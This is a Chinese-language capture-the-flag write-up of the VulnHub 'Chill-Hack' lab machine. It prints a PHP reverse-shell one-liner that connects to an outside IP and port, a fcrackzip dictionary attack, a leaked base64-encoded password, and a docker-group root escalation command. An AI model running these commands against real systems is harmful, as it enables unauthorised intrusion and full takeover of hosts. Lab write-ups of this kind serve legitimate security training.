VulnHub-Chill-Hack 靶机渗透

1、先用nmap对Chill-Hack靶机进行端口扫描

扫描出了ftp、ssh、http服务

 

2、匿名登录ftp服务,查看ftp服务文件,有一个note.txt文件,然后下载过来

 

 

 

 

 

得到提示“Anurodh told me that there is some filtering on strings being put in the command -- Apaar”

 

3、对web服务进行信息收集,首先用dirsearch进行目录扫描

 

 

得到目录/secret/,进去之后发现一个命令执行的漏洞

 

4、漏洞利用

通过php反弹shell,得到www-data的执行权限:

php -r '$sock=fsockopen("192.168.6.129",8888);exec("/bin/sh -i <&3 >&3 2>&3");'

 

 

 然后目录遍历,对文件进行查看,在var/www/files/hacker.php获得了提示

 

 

 

 由于需要找两个flag,他说答案在黑暗中,极有可能是在一些文件中提取flag,目录下除了代码文件还有一些图片文件,可能通过信息隐写放在图片里了

在/var/files/images中有两张图片,可能存在一些信息,但是这两张图片并不能通过web下载,所以我们通过python搭建一个web服务:python3 -m http.server 8080

然后通过wget将图片下载过来,这里需要通过steghide来读取图片中隐写的信息,用outguess提取的时候报错,提取数据过长:

steghide extract -sf hacker-with-laptop_23-2147985341.jpg

可以看到steghide成功提取出了bakup.zip,但是打开需要密码,所以需要fcrackzip来爆破密码:

fcrackzip -D -u -p /usr/share/wordlists/rockyou.txt backup.zip //使用kali中自带的rockyou.txt字典

密码:pw == pass1word,接着查看backup.zip中的源码:

<?php
        if(isset($_POST['submit']))
    {
        $email = $_POST["email"];
        $password = $_POST["password"];
        if(base64_encode($password) == "IWQwbnRLbjB3bVlwQHNzdzByZA==")
        { 
            $random = rand(1000,9999);?><br><br><br>
            <form method="POST">
                Enter the OTP: <input type="number" name="otp">
                <input type="submit" name="submitOtp" value="Submit">
            </form>
        <?php    mail($email,"OTP for authentication",$random);
            if(isset($_POST["submitOtp"]))
                {
                    $otp = $_POST["otp"];
                    if($otp == $random)
                    {
                        echo "Welcome Anurodh!";
                        header("Location: authenticated.php");
                    }
                    else
                    {
                        echo "Invalid OTP";
                    }
                }
         }
        else
        {
            echo "Invalid Username or Password";
        }
        }
?>

可以根据对password比较的过程来解码得出密码为:,而且这里指出密码为Anurodh这个用户的,可以先去查看一下有多少用户

现在我们就可以通过ssh来登录anurodh这个用户,登录成功

在apaar的家目录看到了一个local.txt,但是权限不够不能查看

通过sudo -l查看sudo权限,发现可以执行这个.helpline文件不用apaar用户的密码,那就以appaar的身份来运行它试试

 

这里输入的message可以造成命令执行,查看local.txt文件,拿到第一个flag

 

anurodh用户在docker组中,可以使用docker提权到root

 

 payload:

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

 

在/root/proof.txt得到root的flag

 

posted @ 2021-01-30 21:01  1jzz  阅读(214)  评论(0编辑  收藏  举报